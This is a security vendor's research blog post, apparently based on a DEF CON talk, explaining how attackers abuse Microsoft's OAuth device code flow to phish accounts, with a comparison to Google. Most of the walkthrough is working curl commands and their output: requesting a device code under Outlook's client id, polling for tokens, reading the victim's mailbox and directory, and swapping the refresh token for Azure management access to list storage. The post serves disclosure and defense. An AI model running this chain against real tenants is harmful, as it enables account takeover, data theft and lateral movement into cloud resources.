Netskope est nommé un leader du Gartner® Magic Quadrant™ 2024 pour le Security Service Edge. Recevoir le rapport

fermer
fermer
  • Pourquoi Netskope signe chevron

    Changer la façon dont le réseau et la sécurité fonctionnent ensemble.

  • Nos clients signe chevron

    Netskope sert plus de 3 000 clients dans le monde entier, dont plus de 25 entreprises du classement Fortune 100

  • Nos partenaires signe chevron

    Nous collaborons avec des leaders de la sécurité pour vous aider à sécuriser votre transition vers le cloud.

La Capacité d'Exécution la plus élevée, une fois de plus.
La Vision la plus complète, une fois de plus.

Découvrez pourquoi le Magic Quadrant™ 2024 de Gartner® a désigné Netskope comme leader pour la sécurité en périphérie des services pour la troisième année consécutive.

Recevoir le rapport
Netskope Named a Leader in the 2024 Gartner® Magic Quadrant™ for Security Service Edge graphic for menu
Nous parons nos clients à l'avenir, quel qu'il soit

Voir nos clients
Woman smiling with glasses looking out window
La stratégie de commercialisation de Netskope privilégie ses partenaires, ce qui leur permet de maximiser leur croissance et leur rentabilité, tout en transformant la sécurité des entreprises.

En savoir plus sur les partenaires de Netskope
Group of diverse young professionals smiling
Votre réseau de demain

Planifiez votre chemin vers un réseau plus rapide, plus sûr et plus résilient, conçu pour les applications et les utilisateurs que vous prenez en charge.

Obtenir le livre blanc
Votre réseau de demain
Présentation de la plate-forme Netskope One

Netskope One est une plate-forme cloud native qui offre des services de sécurité et de mise en réseau convergents pour faciliter votre transformation SASE et Zero Trust.

En savoir plus sur Netskope One
Abstrait avec éclairage bleu
Adopter une architecture SASE (Secure Access Service Edge)

Netskope NewEdge est le nuage privé de sécurité le plus grand et le plus performant au monde. Il offre aux clients une couverture de service, des performances et une résilience inégalées.

Découvrez NewEdge
NewEdge
Netskope Cloud Exchange

Le Netskope Cloud Exchange (CE) fournit aux clients des outils d'intégration puissants pour optimiser les investissements dans l'ensemble de leur infrastructure de sécurité.

En savoir plus sur Cloud Exchange
Vidéo Netskope
La plateforme du futur est Netskope

Intelligent Security Service Edge (SSE), Cloud Access Security Broker (CASB), Cloud Firewall, Next Generation Secure Web Gateway (SWG), et Private Access for ZTNA intégrés nativement dans une solution unique pour aider chaque entreprise dans son cheminement vers l'architecture Secure Access Service Edge (SASE).

Présentation des produits
Vidéo Netskope
Next Gen SASE Branch est hybride - connectée, sécurisée et automatisée

Netskope Next Gen SASE Branch fait converger Context-Aware SASE Fabric, Zero-Trust Hybrid Security et SkopeAI-Powered Cloud Orchestrator dans une offre cloud unifiée, ouvrant la voie à une expérience de succursale entièrement modernisée pour l'entreprise sans frontières.

En savoir plus Next Gen SASE Branch
Personnes au bureau de l'espace ouvert
La conception d'une architecture SASE pour les nuls

Obtenez votre exemplaire gratuit du seul guide consacré à la conception d'une architecture SASE dont vous aurez jamais besoin.

Obtenir l'EBook
Optez pour les meilleurs services de sécurité cloud du marché, avec un temps de latence minimum et une fiabilité élevée.

Découvrez NewEdge
Lighted highway through mountainside switchbacks
Permettez en toute sécurité l'utilisation d'applications d'IA générative grâce au contrôle d'accès aux applications, à l'accompagnement des utilisateurs en temps réel et à une protection des données de premier ordre.

Découvrez comment nous sécurisons l'utilisation de l'IA générative
Autorisez ChatGPT et l’IA générative en toute sécurité
Solutions Zero Trust pour les déploiements du SSE et du SASE

En savoir plus sur la confiance zéro
Boat driving through open sea
Netskope obtient l'autorisation FedRAMP High Authorization

Choisissez Netskope GovCloud pour accélérer la transformation de votre agence.

En savoir plus sur Netskope GovCloud
Netskope GovCloud
  • Ressources signe chevron

    Découvrez comment Netskope peut vous aider à sécuriser votre migration vers le Cloud.

  • Blog signe chevron

    Découvrez comment Netskope permet la transformation de la sécurité et de la mise en réseau grâce à la périphérie des services de sécurité (SSE)

  • Événements et ateliers signe chevron

    Restez à l'affût des dernières tendances en matière de sécurité et créez des liens avec vos pairs.

  • Définition de la sécurité signe chevron

    Tout ce que vous devez savoir dans notre encyclopédie de la cybersécurité.

Podcast Security Visionaries

How to Use a Magic Quadrant and Other Industry Research
Dans cet épisode, Max Havey, Steve Riley et Mona Faulkner dissèquent le processus complexe de création d’un Magic Quadrant et pourquoi c’est bien plus qu’un simple graphique.

Écouter le podcast
Comment utiliser un Magic Quadrant et d’autres podcasts de recherche sur l’industrie
Derniers blogs

Découvrez comment Netskope peut faciliter la transition vers le Zero Trust et le SASE grâce aux fonctionnalités de sécurité en périphérie des services (SSE).

Lire le blog
Sunrise and cloudy sky
SASE Week 2023 : Votre voyage SASE commence maintenant !

Retrouvez les sessions de la quatrième édition annuelle de SASE Week.

Explorer les sessions
SASE Week 2023
Qu'est-ce que le Security Service Edge ?

Découvrez le côté sécurité de SASE, l'avenir du réseau et de la protection dans le cloud.

En savoir plus sur Security Service Edge
Four-way roundabout
  • Entreprise signe chevron

    Nous vous aidons à conserver une longueur d'avance sur les défis posés par le cloud, les données et les réseaux en matière de sécurité.

  • Équipe de direction signe chevron

    Nos dirigeants sont déterminés à faciliter la réussite de nos clients.

  • Solutions pour les clients signe chevron

    Nous sommes là pour vous et avec vous à chaque étape, pour assurer votre succès avec Netskope.

  • Formation et certification signe chevron

    Avec Netskope, devenez un expert de la sécurité du cloud.

Soutenir le développement durable par la sécurité des données

Netskope est fière de participer à Vision 2045 : une initiative visant à sensibiliser au rôle de l'industrie privée dans le développement durable.

En savoir plus
Soutenir le développement durable grâce à la sécurité des données
Penseurs, concepteurs, rêveurs, innovateurs. Ensemble, nous fournissons le nec plus ultra des solutions de sécurité cloud afin d'aider nos clients à protéger leurs données et leurs collaborateurs.

Rencontrez notre équipe
Group of hikers scaling a snowy mountain
L’équipe de services professionnels talentueuse et expérimentée de Netskope propose une approche prescriptive pour une mise en œuvre réussie.

En savoir plus sur les services professionnels
Services professionnels Netskope
Sécurisez votre parcours de transformation numérique et tirez le meilleur parti de vos applications cloud, Web et privées grâce à la formation Netskope.

En savoir plus sur les formations et les certifications
Group of young professionals working

New Phishing Attacks Exploiting OAuth Authorization Flows (Part 2)

Aug 10 2021

This blog series expands upon a presentation given at DEF CON 29 on August 7, 2021.

In Part 1 of this series, we provided an overview of OAuth 2.0 and two of its authorization flows, the authorization code grant and the device authorization grant.

Phishing attacks are starting to evolve from the old-school faking of login pages that harvest passwords to attacks that abuse widely-used identity systems such as Microsoft Azure Active Directory or Google Identity, both of which utilize the OAuth authorization protocol for granting permissions to third-party applications using your Microsoft or Google identity.

In the past few years, we have seen illicit grant attacks that use malicious OAuth applications created by attackers to trick a victim into granting the attacker wider permissions to the victim’s data or resources:

Instead of creating fake logins/websites, illicit grant attacks use the actual OAuth authentication/authorization flows in order to obtain the OAuth session tokens. This has the advantage of bypassing MFA authentication, with permanent or nearly indefinite access since the OAuth tokens can be continually refreshed in most cases.

In this blog series, we will review how various quirks in the implementation of different OAuth authorization flows can make it easier for attackers to phish victims due to:

  1. Attackers not needing to create infrastructure (e.g., no fake domains, websites, or applications), leading to easier and more hidden attacks
  2. An ability to easily reuse client ids of existing applications, obfuscating attacker actions in audit logs
  3. The use of default permissions (scopes), granting broad privileges to the attacker
  4. A lack of approval (consent) dialogs shown to the user
  5. An ability to obtain new access tokens with broader privileges and access, opening up lateral movement among services/APIs

Finally, we will discuss what users can do today to protect themselves from these potential new attacks.

In Part 2 of this blog series, we will look at how a phishing attack can be carried out by exploiting the device authorization grant flow.

Phishing using Device Authorization Grants

A phishing attack that exploits the OAuth device code authorization grant flow was described by Dr. Nestori Syynimaa in his blog, Introducing a new phishing technique for compromising Office 365 accounts

Below, we will explain the attack scenario in detail, how it can be carried out, the underlying protocol issues that lead to this exposure, and what can be done about it. 

When used in a phishing attack, the flow looks like this:

Diagram of OAuth 2.0 Device Code Authorization Phishing

Step 1: The user does not initiate anything (no login step). 

Step 2: The attacker initiates the attack by generating a user and device code. In the Microsoft device code flow implementation, well-known client application ids can be reused, such as Outlook’s id, and no other application authentication is required. No scopes need to be specified at this step either. The resource parameter specifies the API resources to be accessed, and the graph API is one of many that can be specified.

curl \
--data client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c \
--data resource=https://graph.microsoft.com \
https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0

Step 3: The user code (used by the user to verify themselves to the identity platform) and device codes (used by application or device to verify themselves) are returned along with the verification URL.

user_code : ELSEKDEZH
device_code : AAQBAAEAAAD--DLA3VO7QrddgJg7Wevri4xk7LwvoX90cGR…
verification_url: https://microsoft.com/devicelogin
expires_in : 900
interval : 5
message : To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code AGMKMPPLM to authenticate.

Step 4: The phish is delivered with content to trick the user into entering the user code when logging into the verification URL of the identity vendor.

Screenshot of example phishing email

Step 5: Upon following the link (official Microsoft login URL/domain), the user interaction looks like this:

  1. User authentication: User enters user code
Screenshot of user entering code
login.microsoftonline.com/common/oauth2/deviceauth
  1. User authentication: User enters username
Screenshot of user entering username
login.microsoftonline.com/common/oauth2/deviceauth
  1. User authentication: User enters password
Screenshot of user entering password
login.microsoftonline.com/common/oauth2/deviceauth
  1. User authentication: User enters MFA code
Screenshot of user entering MFA code
login.microsoftonline.com/common/oauth2/deviceauth
  1. User authorization: User is presented with a confirmation screen about the application, which is a different, existing application
Screenshot of user confirmation screen
login.microsoftonline.com/common/reprocess
  1. Confirmation message: Simple message is shown.
Screenshot of confirmation message
login.microsoftonline.com/appverify

Step 6: The attacker in the background polls the identity system (authorization server), waiting for the user to complete authentication and authorization:

curl \
--data client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c \
--data resource=https://graph.microsoft.com \
--data grant_type=urn:ietf:params:oauth:grant-type:device_code \
--data code=AAQBAAEAAAD--DLA3VO7QrddgJg7Wevri4xk7LwvoX90cGR... \
https://login.microsoftonline.com/Common/oauth2/token?api-version=1.0

The device code retrieved in step #3 is the value to the ”code” parameter. The client id and the resource remain the same. If the user has not authenticated/authorized, the above command will return with an HTTP error code of 40x with a variety of error messages. If the message reads “authorization_pending,” the attacker should keep polling with the interval returned in step #3.

Step 7: After the user authenticates and authorizes, the command in step #6 returns with an HTTP status of 200.

a) OAuth access and refresh tokens are returned in the response to the attacker:

token_type : Bearer
scope : AuditLog.Read.All Calendar.ReadWrite Calendars.Read.Shared Calendars.ReadWrite
Contacts.ReadWrite DataLossPreventionPolicy.Evaluate DeviceManagementConfiguration.Read.All De
viceManagementConfiguration.ReadWrite.All Directory.AccessAsUser.All Directory.Read.All Files.R
ead Files.Read.All Files.ReadWrite.All Group.Read.All Group.ReadWrite.All Mail.ReadWrite Notes.
Create People.Read People.Read.All SensitiveInfoType.Detect SensitiveInfoType.Read.All Sensitiv
ityLabel.Evaluate User.Read.All User.ReadBasic.All User.ReadWrite Users.Read
expires_in : 8743
ext_expires_in : 8743
expires_on : 1627727759
not_before : 1627718715
resource : https://graph.microsoft.com
access_token : eyJ0eXAiOiJKV1QiLCJub25jZSI6Ilc0dmxZTk1GbHFvdGVQck...
refresh_token : 0.AUYAAknJ93kbWUyXs2JQOrZOU9YOWdOzUgJBrv-q0ikqsBxG...
foci : 1
id_token : eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhkMzU5MGVkN...

Note that a scope parameter is returned, even though it was not required or specified in previous steps. They reflect the default scopes (permissions) that apply to the Graph API for the application id used by the attacker (Outlook). The attacker has received a token with broad, default scopes within the Graph AP

b) With the access token, the attacker can now query the Graph API, enumerating Azure AD users:

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJub25jZSI6Ilc0dmx…" \
https://graph.microsoft.com/v1.0/users

businessPhones: [],
displayName: David Marcon,
givenName: David,
jobTitle: null,
mail: [email protected],
mobilePhone: null,
officeLocation: null,
preferredLanguage: null,
surname: Marcon,
userPrincipalName: [email protected],

businessPhones: [ 6505551212 ],
displayName: Ed Van,
givenName: Ed,
jobTitle: null,
mail: [email protected],
mobilePhone: null,
officeLocation: null,
preferredLanguage: null,
surname: Van,
userPrincipalName: [email protected],

...

c) The attacker can also access the victim’s email inbox:

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJub25jZSI6Ilc0dmx…" \
https://graph.microsoft.com/v1.0/me/mailfolders/inbox/messages?=subject,from,receivedDateTime&=25&=receivedDateTime%20DESC

id: BAMkEGMzOTNmY2P2MUliZkFtNXM4Yy05Y2Q4LWVmOTRmNDVmOTl...,
createdDateTime: 2021-07-31T08:39:20Z,
lastModifiedDateTime: 2021-07-31T08:39:21Z,
changeKey: CQABAOYZAACS+uJZ/y/eR9DpOLNLNpYjAAAO+Xrq,
categories: [],
receivedDateTime: 2021-07-31T08:39:20Z,
sentDateTime: 2021-07-31T08:39:17Z,
hasAttachments: false,
internetMessageId: <[email protected]
otection.outlook.com>,
subject: Thank you from the Microsoft Outlook 365 Team!,
bodyPreview: Thank you!\r\n\r\nFor being a loyal Microsoft customer, we are permanently
increasing your Outlook attachment/file storage by 1 TB. Additionally, the maximum attachment size has been increased to 100 MB.\r\n\r\nTo receive your increase:\r\n\r\n 1. Go to our secure ,
importance: normal,
conversationId: OCRkAGMzOTNmY2M4LTlhYjQtNGM4Yy05Y2Q4LWVmOTRmNDVmOTliZABQAGSVy-Mk2htH...,
conversationIndex: BQIYhfeOZJXL8yTaG0eh9gF1dUWBcw==,
isDeliveryReceiptRequested: null,
isReadReceiptRequested: false,
isRead: false,
isDraft: false,
webLink: https://outlook.office365.com/owa/?ItemID=AAMkAGMzO...A%3D&exvsurl=1&viewmodel=ReadMessageItem,

...

Step 8: With Microsoft’s implementation of device code flow, one can also change resources from the Graph API to other resources such as the Azure API.

a) The attacker can use the refresh token to obtain a new access token for Azure:

curl \
--data refresh_token=0.AUYAAknJ93kbWUyXs2JQOrZOU9YOWdOzUgJBrv-q0i... \
--data scope=openid \
--data resource=https://management.azure.com \
--data client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c \
--data grant_type=refresh_token \
https://login.microsoftonline.com/Common/oauth2/token

token_type : Bearer
scope : user_impersonation
expires_in : 7437
ext_expires_in : 7437
expires_on : 1627728690
not_before : 1627720952
resource : https://management.azure.com
access_token : eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6Im5Pb...
refresh_token : 0.AUYAAknJ93kbWUyXs2JQOrZOU9YOWdOzUgJBrv-q0ikqsBx...
foci : 1
id_token : eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJhdWQiOiJkM...

...

Note that in the request, we did not need to supply any new information. The scope is passed in but is a very limited ”openid” scope. Our response gives us an access_token with user_impersonation, which means full privileges of the user on the resource. No secrets were required either. The lateral movement from Graph API access to Azure API access was fairly straightforward.

b) The new OAuth access token can now be used to access the Azure environment:

List subscriptions:

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1N..." \
https://management.azure.com/subscriptions?api-version=2020-01-01

"id": "/subscriptions/4af98c72-439c-20e2-f4c8-1d5cbcf77f02",
"authorizationSource": "RoleBased",
"managedByTenants": [],
"subscriptionId": "4af98c72-439c-20e2-f4c8-1d5cbcf77f02",
"tenantId": "e9d82132-9c21-3d49-793c-31803ba46f20",
"displayName": "Azure subscription 1",

...

and access all resources in a subscription, including the blobs in a storage account/container:

curl -H "Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1N..." \
https://management.azure.com/subscriptions/4af98c72-439c-20e2-f4c8-1d5cbcf77f02/resources?api-version=2021-04-01

[1] Resource: disks/redhat-vm_OsDisk_1_4XXXXXXXXXXXXXXXXXXX7a9dce8ZZZZc
name: redhat-vm_OsDisk_1_4XXXXXXXXXXXXXXXXXXX7a9dce8ZZZZc
type: Microsoft.Compute/disks
id: /subscriptions/4af98c72-439c-20e2-f4c8-1d5cbcf77f02/resourceGroups/prod-rg/providers/Microsoft.Compute/disks/redhat-vm_OsDisk_1_4XXXXXXXXXXXXXXXXXXX7a9dce8ZZZZc

[9] Resource: storageAccounts/storageAcct1
name: storageAcct1
type: Microsoft.Storage/storageAccounts
id: /subscriptions/4af98c72-439c-20e2-f4c8-1d5cbcf77f02/resourceGroups/prod-rg/providers/Microsoft.Storage/storageAccounts/storageAcct1

[a]: containers/storageContainer1
name: storageContainer1
type: Microsoft.Storage/storageAccounts/blobServices/containers
id: /subscriptions/4af98c72-439c-20e2-f4c8-1d5cbcf77f02/resourceGroups/prod-rg/providers/Microsoft.Storage/storageAccounts/storageAcct1/blobServices/default/containers/storageContainer1

[BLOBS]:

<?xml version="1.0" encoding="utf-8"?>
<EnumerationResults ServiceEndpoint="https://storageAcct1.blob.core.windows.net/"
ContainerName="storageContainer1">
<MaxResults>5000</MaxResults>
<Blobs>
<Blob>
<Name>social_security_numbers.txt</Name>
<Properties>
...

Et tu, Google?

Given the standardization and popularity of OAuth, you might be wondering if other OAuth providers have similar risks. When we look at Google, an attacker can perform a similar phish using device code authentication with much of the same benefits to the attacker:

  • No infrastructure needed: An attacker does not need to create an OAuth application or any website/domain infrastructure.
  • Application reuse: An attacker can use existing application ids, leading to some level of stealth/obfuscation.
  • Weak application authentication: Authentication of the existing application id is straightforward with easily obtained secrets.
  • No consent: Consent dialogs are not presented to the user for scopes such as ”openid,” ”profile”, and ”userinfo.email.” With other scopes, consent dialogs are presented.

 However, the overall exposure of the user is limited because:

  • Limited scopes: The attacker does not receive broad default scopes as they do with Microsoft. There are only a limited set of well-documented scopes, which need to be explicitly requested in the initial step when creating an authorization code (device code).
  • No lateral movement: The attacker cannot pivot and gain access to new tokens that have different scopes and access to other services.

Conclusion

We have seen how the device code grant flow provides attackers more opportunities to target victims with phishing attacks. This stems from a couple of factors that underlie this flow:

  • The device code can be generated by the attacker as opposed to the authorization code in other flows which is generated by the identity system and passed back to the attacker. This makes it easy for an attacker to start the attack.
  • Existing client ids can be reused easily by the attacker, making this attack more stealthy as it appears to be real or valid applications the user is interacting with.
  • In Microsoft’s implementation of this flow, the attacker can easily pivot to different services with broad scopes, moving laterally within the Microsoft applications the victim has access to.

In Part 3, we will explore what security controls can be put in place to defend against these new attacks.

author image
Jenko Hwong
Jenko has 15+ years of experience in research, product management, and engineering in cloud security, AV/AS, routers/appliances, threat intel, Windows security, vulnerability scanning and compliance. At Netskope, he researches new cloud attacks.

Stay informed!

Subscribe for the latest from the Netskope Blog